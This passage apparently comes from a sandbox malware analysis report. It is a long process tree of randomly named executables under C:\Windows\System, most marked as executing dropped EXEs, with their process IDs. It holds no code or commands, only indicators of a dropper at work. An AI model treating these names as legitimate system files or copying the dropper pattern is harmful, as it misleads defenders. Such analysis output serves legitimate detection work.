  PID:1932
- C:\Windows\System\bKpKgOZ.exe
  C:\Windows\System\bKpKgOZ.exe
  2⤵
  - Executes dropped EXE
  PID:2968
- C:\Windows\System\FWzwasg.exe
  C:\Windows\System\FWzwasg.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\LbIOGMP.exe
  C:\Windows\System\LbIOGMP.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Windows\System\HPONzBK.exe
  C:\Windows\System\HPONzBK.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\tsQTZHH.exe
  C:\Windows\System\tsQTZHH.exe
  2⤵
  - Executes dropped EXE
  PID:2460
- C:\Windows\System\kfAFfKO.exe
  C:\Windows\System\kfAFfKO.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\cvWklGS.exe
  C:\Windows\System\cvWklGS.exe
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Windows\System\hnuGXjW.exe
  C:\Windows\System\hnuGXjW.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\UPydsBW.exe
  C:\Windows\System\UPydsBW.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\SSzxngQ.exe
  C:\Windows\System\SSzxngQ.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\ssdSOtO.exe
  C:\Windows\System\ssdSOtO.exe
  2⤵
  - Executes dropped EXE
  PID:1552
- C:\Windows\System\tQwGjha.exe
  C:\Windows\System\tQwGjha.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\FmQLYWP.exe
  C:\Windows\System\FmQLYWP.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\KGdvVgB.exe
  C:\Windows\System\KGdvVgB.exe
  2⤵
  - Executes dropped EXE
  PID:356
- C:\Windows\System\WtNDDFo.exe
  C:\Windows\System\WtNDDFo.exe
  2⤵
  - Executes dropped EXE
  PID:1184
- C:\Windows\System\Mfevupf.exe
  C:\Windows\System\Mfevupf.exe
  2⤵
  - Executes dropped EXE
  PID:1340
- C:\Windows\System\FOAhwgD.exe
  C:\Windows\System\FOAhwgD.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Windows\System\ykqqTRn.exe
  C:\Windows\System\ykqqTRn.exe
  2⤵
  - Executes dropped EXE
  PID:2828
- C:\Windows\System\aCEJhoA.exe
  C:\Windows\System\aCEJhoA.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\MAQaOgk.exe
  C:\Windows\System\MAQaOgk.exe
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Windows\System\IjcuCZN.exe
  C:\Windows\System\IjcuCZN.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\ZUDboSq.exe
  C:\Windows\System\ZUDboSq.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System\xjPHGMN.exe
  C:\Windows\System\xjPHGMN.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\CHKSvnT.exe
  C:\Windows\System\CHKSvnT.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\KoifEUW.exe
  C:\Windows\System\KoifEUW.exe
  2⤵
  - Executes dropped EXE
  PID:668
- C:\Windows\System\LqBXUUZ.exe
  C:\Windows\System\LqBXUUZ.exe
  2⤵
  - Executes dropped EXE
  PID:984
- C:\Windows\System\qHVRTBJ.exe
  C:\Windows\System\qHVRTBJ.exe
  2⤵
  - Executes dropped EXE
  PID:632
- C:\Windows\System\vyiAekg.exe
  C:\Windows\System\vyiAekg.exe
  2⤵
  - Executes dropped EXE
  PID:888
- C:\Windows\System\cDQfVWr.exe
  C:\Windows\System\cDQfVWr.exe
  2⤵
  - Executes dropped EXE
  PID:1772
- C:\Windows\System\DwzhWif.exe
  C:\Windows\System\DwzhWif.exe
  2⤵
  - Executes dropped EXE
  PID:1664
- C:\Windows\System\fvgxoLo.exe
  C:\Windows\System\fvgxoLo.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Windows\System\OrGWJQS.exe
  C:\Windows\System\OrGWJQS.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\UJHxDLl.exe
  C:\Windows\System\UJHxDLl.exe
  2⤵
  - Executes dropped EXE
  PID:2988
- C:\Windows\System\VXDgmZM.exe
  C:\Windows\System\VXDgmZM.exe
  2⤵
  - Executes dropped EXE
  PID:608
- C:\Windows\System\JqgLMvS.exe
  C:\Windows\System\JqgLMvS.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\System\vbLCKAf.exe
  C:\Windows\System\vbLCKAf.exe
  2⤵
  - Executes dropped EXE
  PID:1204
- C:\Windows\System\GeDEmoL.exe
  C:\Windows\System\GeDEmoL.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\xHsrBDa.exe
  C:\Windows\System\xHsrBDa.exe
  2⤵
  - Executes dropped EXE
  PID:1536
- C:\Windows\System\tNoJgBT.exe
  C:\Windows\System\tNoJgBT.exe
  2⤵
  - Executes dropped EXE
  PID:788
- C:\Windows\System\fMZgBuQ.exe
  C:\Windows\System\fMZgBuQ.exe
  2⤵
  - Executes dropped EXE
  PID:1888
- C:\Windows\System\HHWFKYh.exe
  C:\Windows\System\HHWFKYh.exe
  2⤵
  - Executes dropped EXE
  PID:860
- C:\Windows\System\ttKxOad.exe
  C:\Windows\System\ttKxOad.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Windows\System\tyPbIay.exe
  C:\Windows\System\tyPbIay.exe
  2⤵
  - Executes dropped EXE
  PID:872
- C:\Windows\System\gDCdxjQ.exe
  C:\Windows\System\gDCdxjQ.exe
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Windows\System\PwnoQmu.exe
  C:\Windows\System\PwnoQmu.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\JwGndwk.exe
  C:\Windows\System\JwGndwk.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\QZGcNct.exe
  C:\Windows\System\QZGcNct.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\HMfumLm.exe
  C:\Windows\System\HMfumLm.exe
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Windows\System\fNxCIXW.exe
  C:\Windows\System\fNxCIXW.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\bQCjKHw.exe
  C:\Windows\System\bQCjKHw.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\JAdBkpV.exe
  C:\Windows\System\JAdBkpV.exe
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\System\eSnWruN.exe
  C:\Windows\System\eSnWruN.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\cOVaaAV.exe
  C:\Windows\System\cOVaaAV.exe
  2⤵
  - Executes dropped EXE
  PID:1500
- C:\Windows\System\TQtNWCC.exe
  C:\Windows\System\TQtNWCC.exe
  2⤵
  - Executes dropped EXE
  PID:1524
- C:\Windows\System\rYEkdEB.exe
  C:\Windows\System\rYEkdEB.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\VTYthny.exe
  C:\Windows\System\VTYthny.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\ItDuJGn.exe
  C:\Windows\System\ItDuJGn.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\gMOFVEK.exe
  C:\Windows\System\gMOFVEK.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\CoJkcwc.exe
  C:\Windows\System\CoJkcwc.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\aKgFXZR.exe
  C:\Windows\System\aKgFXZR.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\WhLmUvf.exe
  C:\Windows\System\WhLmUvf.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\YRzenUO.exe
  C:\Windows\System\YRzenUO.exe
  2⤵
  - Executes dropped EXE
  PID:2604
- C:\Windows\System\mwNPCMg.exe
  C:\Windows\System\mwNPCMg.exe
  2⤵
  - Executes dropped EXE
  PID:2992
- C:\Windows\System\sIyDPVB.exe
  C:\Windows\System\sIyDPVB.exe
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\Windows\System\HaWrYyF.exe
  C:\Windows\System\HaWrYyF.exe
  2⤵
  PID:2732
- C:\Windows\System\wLArFBX.exe
  C:\Windows\System\wLArFBX.exe
  2⤵
  PID:1248
- C:\Windows\System\FfdkLdE.exe
  C:\Windows\System\FfdkLdE.exe
  2⤵
  PID:1584
- C:\Windows\System\LypLzVI.exe
  C:\Windows\System\LypLzVI.exe
  2⤵
  PID:2544
- C:\Windows\System\DqlESiZ.exe
  C:\Windows\System\DqlESiZ.exe
  2⤵
  PID:1348
- C:\Windows\System\lNOvZjL.exe
  C:\Windows\System\lNOvZjL.exe
  2⤵
  PID:2044
- C:\Windows\System\gJvFPdK.exe
  C:\Windows\System\gJvFPdK.exe
  2⤵
  PID:760
- C:\Windows\System\imygyRH.exe
  C:\Windows\System\imygyRH.exe
  2⤵
  PID:2236
- C:\Windows\System\WVNjCWA.exe
  C:\Windows\System\WVNjCWA.exe
  2⤵
  PID:2188
- C:\Windows\System\eImBeUe.exe
  C:\Windows\System\eImBeUe.exe
  2⤵
  PID:2204
- C:\Windows\System\ySwQauy.exe
  C:\Windows\System\ySwQauy.exe
  2⤵
  PID:2224
- C:\Windows\System\ebbPUfK.exe
  C:\Windows\System\ebbPUfK.exe
  2⤵
  PID:1384
- C:\Windows\System\qNGBYhT.exe
  C:\Windows\System\qNGBYhT.exe
  2⤵
  PID:700
- C:\Windows\System\sVyRvor.exe
  C:\Windows\System\sVyRvor.exe
  2⤵
  PID:1972
- C:\Windows\System\yKIPPzk.exe
  C:\Windows\System\yKIPPzk.exe
  2⤵
  PID:1280
- C:\Windows\System\UWhGblV.exe
  C:\Windows\System\UWhGblV.exe
  2⤵
  PID:2572
- C:\Windows\System\Nxcfsno.exe
  C:\Windows\System\Nxcfsno.exe
  2⤵
  PID:924
- C:\Windows\System\kQkSLOx.exe
  C:\Windows\System\kQkSLOx.exe
  2⤵
  PID:2344
- C:\Windows\System\lrkzVgb.exe
  C:\Windows\System\lrkzVgb.exe
  2⤵
  PID:1776
- C:\Windows\System\lEqbnSh.exe
  C:\Windows\System\lEqbnSh.exe
  2⤵
  PID:1784
- C:\Windows\System\DgwnXna.exe
  C:\Windows\System\DgwnXna.exe
  2⤵
  PID:1680
- C:\Windows\System\CFjxQGI.exe
  C:\Windows\System\CFjxQGI.exe
  2⤵
  PID:1660
- C:\Windows\System\qAPqvrL.exe
  C:\Windows\System\qAPqvrL.exe
  2⤵
  PID:3068
- C:\Windows\System\KVPIHVY.exe
  C:\Windows\System\KVPIHVY.exe
  2⤵
  PID:2268
- C:\Windows\System\BGAzayq.exe
  C:\Windows\System\BGAzayq.exe
  2⤵
  PID:2348
- C:\Windows\System\vgmdmVg.exe
  C:\Windows\System\vgmdmVg.exe
  2⤵
  PID:2248
- C:\Windows\System\xJmQWnu.exe
  C:\Windows\System\xJmQWnu.exe
  2⤵
  PID:2800
- C:\Windows\System\ONUernO.exe
  C:\Windows\System\ONUernO.exe
  2⤵
  PID:1832
- C:\Windows\System\wTDLWpr.exe
  C:\Windows\System\wTDLWpr.exe
  2⤵
  PID:2720
- C:\Windows\System\jMYNknL.exe
  C:\Windows\System\jMYNknL.exe
  2⤵
  PID:2872
- C:\Windows\System\MkyBjAp.exe
  C:\Windows\System\MkyBjAp.exe
  2⤵
  PID:1228
- C:\Windows\System\fcqMhbq.exe
  C:\Windows\System\fcqMhbq.exe
  2⤵
  PID:2736
- C:\Windows\System\eJgpXId.exe
  C:\Windows\System\eJgpXId.exe
  2⤵
  PID:2844
- C:\Windows\System\UlYKlJs.exe
  C:\Windows\System\UlYKlJs.exe
  2⤵
  PID:2616
- C:\Windows\System\jHyxZCU.exe
  C:\Windows\System\jHyxZCU.exe
  2⤵
  PID:240
- C:\Windows\System\lzsbuWZ.exe
  C:\Windows\System\lzsbuWZ.exe
  2⤵
  PID:1736
- C:\Windows\System\QkmLVrx.exe
  C:\Windows\System\QkmLVrx.exe
  2⤵
  PID:1004
- C:\Windows\System\JxQQKJj.exe
  C:\Windows\System\JxQQKJj.exe
  2⤵
  PID:2656
- C:\Windows\System\ilGXOvp.exe
  C:\Windows\System\ilGXOvp.exe
  2⤵
  PID:768
- C:\Windows\System\woJKpeS.exe
  C:\Windows\System\woJKpeS.exe
  2⤵
  PID:1388
- C:\Windows\System\BPSMNYJ.exe
  C:\Windows\System\BPSMNYJ.exe
  2⤵
  PID:584
- C:\Windows\System\OCzjIaf.exe
  C:\Windows\System\OCzjIaf.exe
  2⤵
  PID:1568
- C:\Windows\System\pwYXfQR.exe
  C:\Windows\System\pwYXfQR.exe
  2⤵
  PID:1560
- C:\Windows\System\eAZbgFO.exe
  C:\Windows\System\eAZbgFO.exe
  2⤵
  PID:2004
- C:\Windows\System\DlIHFTb.exe
  C:\Windows\System\DlIHFTb.exe
  2⤵
  PID:1140
- C:\Windows\System\TuMqEMM.exe
  C:\Windows\System\TuMqEMM.exe
  2⤵
  PID:1408
- C:\Windows\System\irlHtat.exe
  C:\Windows\System\irlHtat.exe
  2⤵
  PID:2108
- C:\Windows\System\QuhiRvr.exe
  C:\Windows\System\QuhiRvr.exe
  2⤵
  PID:2896
- C:\Windows\System\FUQGLIH.exe
  C:\Windows\System\FUQGLIH.exe
  2⤵
  PID:1420
- C:\Windows\System\ctwznHr.exe
  C:\Windows\System\ctwznHr.exe
  2⤵
  PID:332
- C:\Windows\System\gPNKQbV.exe
  C:\Windows\System\gPNKQbV.exe
  2⤵
  PID:1884
- C:\Windows\System\ePpKXSv.exe
  C:\Windows\System\ePpKXSv.exe
  2⤵
  PID:2128
- C:\Windows\System\RbMleLB.exe
  C:\Windows\System\RbMleLB.exe
  2⤵
  PID:2196
- C:\Windows\System\zSkDqks.exe
  C:\Windows\System\zSkDqks.exe
  2⤵
  PID:2140
- C:\Windows\System\WQFwzjl.exe
  C:\Windows\System\WQFwzjl.exe
  2⤵
  PID:2548
- C:\Windows\System\QOtrhLA.exe
  C:\Windows\System\QOtrhLA.exe
  2⤵
  PID:2864
- C:\Windows\System\vRyiAXB.exe
  C:\Windows\System\vRyiAXB.exe
  2⤵
  PID:2580
- C:\Windows\System\SxFdhVQ.exe
  C:\Windows\System\SxFdhVQ.exe
  2⤵
  PID:2892
- C:\Windows\System\mCgpFTX.exe
  C:\Windows\System\mCgpFTX.exe
  2⤵
  PID:1608
- C:\Windows\System\pQXkOoZ.exe
  C:\Windows\System\pQXkOoZ.exe
  2⤵
  PID:2084
- C:\Windows\System\GZxOOsr.exe
  C:\Windows\System\GZxOOsr.exe
  2⤵
  PID:2220
- C:\Windows\System\YXZGmwY.exe
  C:\Windows\System\YXZGmwY.exe
  2⤵
  PID:1912
- C:\Windows\System\tlOnlWK.exe
  C:\Windows\System\tlOnlWK.exe
  2⤵
  PID:2216
- C:\Windows\System\TdQXzUl.exe
  C:\Windows\System\TdQXzUl.exe
  2⤵
  PID:2024
- C:\Windows\System\MOSWMdW.exe
  C:\Windows\System\MOSWMdW.exe
  2⤵
  PID:1448
- C:\Windows\System\qjEeBzw.exe
  C:\Windows\System\qjEeBzw.exe
  2⤵
  PID:1976
- C:\Windows\System\jpGPcPj.exe
  C:\Windows\System\jpGPcPj.exe
  2⤵
  PID:2724
- C:\Windows\System\rpBXjwW.exe
  C:\Windows\System\rpBXjwW.exe
  2⤵
  PID:1716
- C:\Windows\System\nkRZcym.exe
  C:\Windows\System\nkRZcym.exe
  2⤵
  PID:1576
- C:\Windows\System\jPpDquU.exe
  C:\Windows\System\jPpDquU.exe
  2⤵
  PID:2020
- C:\Windows\System\WLNnfCa.exe
  C:\Windows\System\WLNnfCa.exe
  2⤵
  PID:772
- C:\Windows\System\avSpxwe.exe
  C:\Windows\System\avSpxwe.exe
  2⤵
  PID:2272
- C:\Windows\System\UsFTfdj.exe
  C:\Windows\System\UsFTfdj.exe
  2⤵
  PID:2352
- C:\Windows\System\NsZBXxb.exe
  C:\Windows\System\NsZBXxb.exe
  2⤵
  PID:884
- C:\Windows\System\crHNAAZ.exe
  C:\Windows\System\crHNAAZ.exe
  2⤵
  PID:1000
- C:\Windows\System\cWQZclu.exe
  C:\Windows\System\cWQZclu.exe
  2⤵
  PID:1704
- C:\Windows\System\ysLURQy.exe
  C:\Windows\System\ysLURQy.exe
  2⤵
  PID:2368
- C:\Windows\System\ftRgAri.exe
  C:\Windows\System\ftRgAri.exe
  2⤵
  PID:2100
- C:\Windows\System\MpqcHXM.exe
  C:\Windows\System\MpqcHXM.exe
  2⤵
  PID:832
- C:\Windows\System\HDZkAyZ.exe
  C:\Windows\System\HDZkAyZ.exe
  2⤵
  PID:3084
- C:\Windows\System\GozCXux.exe
  C:\Windows\System\GozCXux.exe
  2⤵
  PID:3100
- C:\Windows\System\BjmBIZi.exe
  C:\Windows\System\BjmBIZi.exe
  2⤵
  PID:3116
- C:\Windows\System\zLcYOED.exe
  C:\Windows\System\zLcYOED.exe
  2⤵
  PID:3132
- C:\Windows\System\cFrFXTC.exe
  C:\Windows\System\cFrFXTC.exe
  2⤵
  PID:3156
- C:\Windows\System\dAJICCA.exe
  C:\Windows\System\dAJICCA.exe
  2⤵
  PID:3172
- C:\Windows\System\NLpFMqS.exe
  C:\Windows\System\NLpFMqS.exe
  2⤵
  PID:3188
- C:\Windows\System\dyxKjOZ.exe
  C:\Windows\System\dyxKjOZ.exe
  2⤵
  PID:3208
- C:\Windows\System\VqEOIMv.exe
  C:\Windows\System\VqEOIMv.exe
  2⤵
  PID:3224
- C:\Windows\System\VtEUnyX.exe
  C:\Windows\System\VtEUnyX.exe
  2⤵
  PID:3244
- C:\Windows\System\dlHTsvV.exe
  C:\Windows\System\dlHTsvV.exe
  2⤵
  PID:3260
- C:\Windows\System\nHwnaLs.exe
  C:\Windows\System\nHwnaLs.exe
  2⤵
  PID:3280
- C:\Windows\System\dFlaLRY.exe
  C:\Windows\System\dFlaLRY.exe
  2⤵
  PID:3456
- C:\Windows\System\vhVyoJp.exe
  C:\Windows\System\vhVyoJp.exe
  2⤵
  PID:3476
- C:\Windows\System\rcnWkbU.exe
  C:\Windows\System\rcnWkbU.exe
  2⤵
  PID:3492
- C:\Windows\System\RRGbJbm.exe
  C:\Windows\System\RRGbJbm.exe
  2⤵
  PID:3508
- C:\Windows\System\soxuLsm.exe
  C:\Windows\System\soxuLsm.exe
  2⤵
  PID:3524
- C:\Windows\System\BFmCjNq.exe
  C:\Windows\System\BFmCjNq.exe
  2⤵
  PID:3544
- C:\Windows\System\paxBhFa.exe
  C:\Windows\System\paxBhFa.exe
  2⤵
  PID:3560
- C:\Windows\System\sKjsIyJ.exe
  C:\Windows\System\sKjsIyJ.exe
  2⤵
  PID:3580
- C:\Windows\System\EbUuRiv.exe
  C:\Windows\System\EbUuRiv.exe
  2⤵
  PID:3596
- C:\Windows\System\iNEeeUU.exe
  C:\Windows\System\iNEeeUU.exe
  2⤵
  PID:3612
- C:\Windows\System\psfynqI.exe
  C:\Windows\System\psfynqI.exe
  2⤵
  PID:3628
- C:\Windows\System\IdROkEb.exe
  C:\Windows\System\IdROkEb.exe
  2⤵
  PID:3644
- C:\Windows\System\bTNPNXj.exe
  C:\Windows\System\bTNPNXj.exe
  2⤵
  PID:3660
- C:\Windows\System\sUAxonp.exe
  C:\Windows\System\sUAxonp.exe
  2⤵
  PID:3680
- C:\Windows\System\bKMIrYL.exe
  C:\Windows\System\bKMIrYL.exe
  2⤵
  PID:3700
- C:\Windows\System\dvBFTja.exe
  C:\Windows\System\dvBFTja.exe
  2⤵
  PID:3716
- C:\Windows\System\YyIOZak.exe
  C:\Windows\System\YyIOZak.exe
  2⤵
  PID:3772
- C:\Windows\System\vxOheln.exe
  C:\Windows\System\vxOheln.exe
  2⤵
  PID:3792
- C:\Windows\System\HUZXuOx.exe
  C:\Windows\System\HUZXuOx.exe
  2⤵
  PID:3808
- C:\Windows\System\KWWHYYN.exe
  C:\Windows\System\KWWHYYN.exe
  2⤵
  PID:3828
- C:\Windows\System\cjXSFRz.exe
  C:\Windows\System\cjXSFRz.exe
  2⤵
  PID:3844
- C:\Windows\System\RIBoCws.exe
  C:\Windows\System\RIBoCws.exe
  2⤵
  PID:3860
- C:\Windows\System\hKWGMLF.exe
  C:\Windows\System\hKWGMLF.exe
  2⤵
  PID:3892
- C:\Windows\System\qkajFpH.exe
  C:\Windows\System\qkajFpH.exe
  2⤵
  PID:3912
- C:\Windows\System\cgxXnYg.exe
  C:\Windows\System\cgxXnYg.exe
  2⤵
  PID:3932
- C:\Windows\System\FmvTjOD.exe
  C:\Windows\System\FmvTjOD.exe
  2⤵
  PID:3956
- C:\Windows\System\YIpBFIq.exe
  C:\Windows\System\YIpBFIq.exe
  2⤵
  PID:3980
- C:\Windows\System\lUMNNwC.exe
  C:\Windows\System\lUMNNwC.exe
  2⤵
  PID:3996
- C:\Windows\System\rQSZGgI.exe
  C:\Windows\System\rQSZGgI.exe
  2⤵
  PID:4016
- C:\Windows\System\kavwamz.exe
  C:\Windows\System\kavwamz.exe
  2⤵
  PID:4036
- C:\Windows\System\mpggmYM.exe
  C:\Windows\System\mpggmYM.exe
  2⤵
  PID:4056
- C:\Windows\System\yvQmoSR.exe
  C:\Windows\System\yvQmoSR.exe
  2⤵
  PID:4072
- C:\Windows\System\VylkvlN.exe
  C:\Windows\System\VylkvlN.exe
  2⤵
  PID:4092
- C:\Windows\System\MlPZhuS.exe
  C:\Windows\System\MlPZhuS.exe
  2⤵
  PID:2008
- C:\Windows\System\hilsIfL.exe
  C:\Windows\System\hilsIfL.exe
  2⤵
  PID:1880
- C:\Windows\System\dntYrDD.exe
  C:\Windows\System\dntYrDD.exe
  2⤵
  PID:1268
- C:\Windows\System\lEKffBv.exe
  C:\Windows\System\lEKffBv.exe
  2⤵
  PID:3020
- C:\Windows\System\KXAyfvS.exe
  C:\Windows\System\KXAyfvS.exe
  2⤵
  PID:1400
- C:\Windows\System\rtiQqmL.exe
  C:\Windows\System\rtiQqmL.exe
  2⤵
  PID:2244
- C:\Windows\System\zmAoHxR.exe
  C:\Windows\System\zmAoHxR.exe
  2⤵
  PID:2036
- C:\Windows\System\RqANlys.exe
  C:\Windows\System\RqANlys.exe
  2⤵
  PID:3112
- C:\Windows\System\jMmNzrU.exe
  C:\Windows\System\jMmNzrU.exe
  2⤵
  PID:3152
- C:\Windows\System\bzWgpQl.exe
  C:\Windows\System\bzWgpQl.exe
  2⤵
  PID:2064
- C:\Windows\System\ZhGceji.exe
  C:\Windows\System\ZhGceji.exe
  2⤵
  PID:480
- C:\Windows\System\BfGeqnI.exe
  C:\Windows\System\BfGeqnI.exe
  2⤵
  PID:3288
- C:\Windows\System\IvcMfvB.exe
  C:\Windows\System\IvcMfvB.exe
  2⤵
  PID:3304
- C:\Windows\System\bXIpwGi.exe
  C:\Windows\System\bXIpwGi.exe
  2⤵
  PID:3312
- C:\Windows\System\aiKJWPl.exe
  C:\Windows\System\aiKJWPl.exe
  2⤵
  PID:3332
- C:\Windows\System\POnaHwa.exe
  C:\Windows\System\POnaHwa.exe
  2⤵
  PID:1056
- C:\Windows\System\hRcSfsm.exe
  C:\Windows\System\hRcSfsm.exe
  2⤵
  PID:1544
- C:\Windows\System\rmbJUJk.exe
  C:\Windows\System\rmbJUJk.exe
  2⤵
  PID:2060
- C:\Windows\System\KEpwqWJ.exe
  C:\Windows\System\KEpwqWJ.exe
  2⤵
  PID:2232
- C:\Windows\System\pDZFjwY.exe
  C:\Windows\System\pDZFjwY.exe
  2⤵
  PID:3368
- C:\Windows\System\oEHPYfy.exe
  C:\Windows\System\oEHPYfy.exe
  2⤵
  PID:3380
- C:\Windows\System\dNgdGXl.exe
  C:\Windows\System\dNgdGXl.exe
  2⤵
  PID:3400
- C:\Windows\System\kmtRwAC.exe
  C:\Windows\System\kmtRwAC.exe
  2⤵
  PID:940
- C:\Windows\System\ISbxfKQ.exe
  C:\Windows\System\ISbxfKQ.exe
  2⤵
  PID:3092
- C:\Windows\System\zzhodCB.exe
  C:\Windows\System\zzhodCB.exe
  2⤵
  PID:3168
- C:\Windows\System\oNxLKbk.exe
  C:\Windows\System\oNxLKbk.exe
  2⤵
  PID:3240
- C:\Windows\System\xFlYGmz.exe
  C:\Windows\System\xFlYGmz.exe
  2⤵
  PID:3412
- C:\Windows\System\DutIebY.exe
  C:\Windows\System\DutIebY.exe
  2⤵
  PID:2228
- C:\Windows\System\eMrrrgL.exe
  C:\Windows\System\eMrrrgL.exe
  2⤵
  PID:3468
- C:\Windows\System\LcZIgyF.exe
  C:\Windows\System\LcZIgyF.exe
  2⤵
  PID:2156
- C:\Windows\System\AqVNbet.exe
  C:\Windows\System\AqVNbet.exe
  2⤵
  PID:3592
- C:\Windows\System\FZrLChP.exe
  C:\Windows\System\FZrLChP.exe
  2⤵
  PID:3696
- C:\Windows\System\dhABUdZ.exe
  C:\Windows\System\dhABUdZ.exe
  2⤵
  PID:3736
- C:\Windows\System\JlkIwRM.exe
  C:\Windows\System\JlkIwRM.exe
  2⤵
  PID:3756
- C:\Windows\System\cfFjqOI.exe
  C:\Windows\System\cfFjqOI.exe
  2⤵
  PID:3532
- C:\Windows\System\YWRrecD.exe
  C:\Windows\System\YWRrecD.exe
  2⤵
  PID:3576
- C:\Windows\System\GKcWFDG.exe
  C:\Windows\System\GKcWFDG.exe
  2⤵
  PID:3668
- C:\Windows\System\yiyjHOj.exe
  C:\Windows\System\yiyjHOj.exe
  2⤵
  PID:3768
- C:\Windows\System\odthbDT.exe
  C:\Windows\System\odthbDT.exe
  2⤵
  PID:3836
- C:\Windows\System\JXJHzZC.exe
  C:\Windows\System\JXJHzZC.exe
  2⤵
  PID:3884
- C:\Windows\System\Ecfwwxy.exe
  C:\Windows\System\Ecfwwxy.exe
  2⤵
  PID:3872
- C:\Windows\System\vgTGyVO.exe
  C:\Windows\System\vgTGyVO.exe
  2⤵
  PID:3900
- C:\Windows\System\HaHUxjZ.exe
  C:\Windows\System\HaHUxjZ.exe
  2⤵
  PID:3924
- C:\Windows\System\WUpHKJm.exe
  C:\Windows\System\WUpHKJm.exe
  2⤵
  PID:2692
- C:\Windows\System\lJsPqwq.exe
  C:\Windows\System\lJsPqwq.exe
  2⤵
  PID:3948
- C:\Windows\System\jsmyCFl.exe
  C:\Windows\System\jsmyCFl.exe
  2⤵
  PID:3976
- C:\Windows\System\bazwkWp.exe
  C:\Windows\System\bazwkWp.exe
  2⤵
  PID:4004
- C:\Windows\System\oUwTmZL.exe
  C:\Windows\System\oUwTmZL.exe
  2⤵
  PID:4032
- C:\Windows\System\hfHLtzQ.exe
  C:\Windows\System\hfHLtzQ.exe
  2⤵
  PID:4052
- C:\Windows\System\MPvJAbd.exe
  C:\Windows\System\MPvJAbd.exe
  2⤵
  PID:4088
- C:\Windows\System\vNUVKoW.exe
  C:\Windows\System\vNUVKoW.exe
  2⤵
  PID:2908
- C:\Windows\System\EyJhyfZ.exe
  C:\Windows\System\EyJhyfZ.exe
  2⤵
  PID:2840
- C:\Windows\System\JghQvmm.exe
  C:\Windows\System\JghQvmm.exe
  2⤵
  PID:2696
- C:\Windows\System\gNINvhd.exe
  C:\Windows\System\gNINvhd.exe
  2⤵
  PID:1432
- C:\Windows\System\zIOYsoO.exe
  C:\Windows\System\zIOYsoO.exe
  2⤵
  PID:2280
- C:\Windows\System\KVEOCBW.exe
  C:\Windows\System\KVEOCBW.exe
  2⤵
  PID:1640
- C:\Windows\System\EMtetKX.exe
  C:\Windows\System\EMtetKX.exe
  2⤵
  PID:3148
- C:\Windows\System\irUanDs.exe
  C:\Windows\System\irUanDs.exe
  2⤵
  PID:3216
- C:\Windows\System\BBlTKQG.exe
  C:\Windows\System\BBlTKQG.exe
  2⤵
  PID:3256
- C:\Windows\System\EhEPpGG.exe
  C:\Windows\System\EhEPpGG.exe
  2⤵
  PID:840
- C:\Windows\System\KszQcMO.exe
  C:\Windows\System\KszQcMO.exe
  2⤵
  PID:3324
- C:\Windows\System\moUbcrn.exe
  C:\Windows\System\moUbcrn.exe
  2⤵
  PID:2292
- C:\Windows\System\ESrSHDR.exe
  C:\Windows\System\ESrSHDR.exe
  2⤵
  PID:2596
- C:\Windows\System\uAMbcNN.exe
  C:\Windows\System\uAMbcNN.exe
  2⤵
  PID:1612
- C:\Windows\System\hLWspds.exe
  C:\Windows\System\hLWspds.exe
  2⤵
  PID:3372
- C:\Windows\System\jlzXhsp.exe
  C:\Windows\System\jlzXhsp.exe
  2⤵
  PID:2964
- C:\Windows\System\WJGWsLA.exe
  C:\Windows\System\WJGWsLA.exe
  2⤵
  PID:1556
- C:\Windows\System\fSgTYmg.exe
  C:\Windows\System\fSgTYmg.exe
  2⤵
  PID:3164
- C:\Windows\System\dkEstrm.exe
  C:\Windows\System\dkEstrm.exe
  2⤵
  PID:3232
- C:\Windows\System\XdbyIxh.exe
  C:\Windows\System\XdbyIxh.exe
  2⤵
  PID:560
- C:\Windows\System\jKJejEc.exe
  C:\Windows\System\jKJejEc.exe
  2⤵
  PID:3464
- C:\Windows\System\MXZALSn.exe
  C:\Windows\System\MXZALSn.exe
  2⤵
  PID:3624
- C:\Windows\System\VmPNcct.exe
  C:\Windows\System\VmPNcct.exe
  2⤵
  PID:3620
- C:\Windows\System\XXCXIty.exe
  C:\Windows\System\XXCXIty.exe
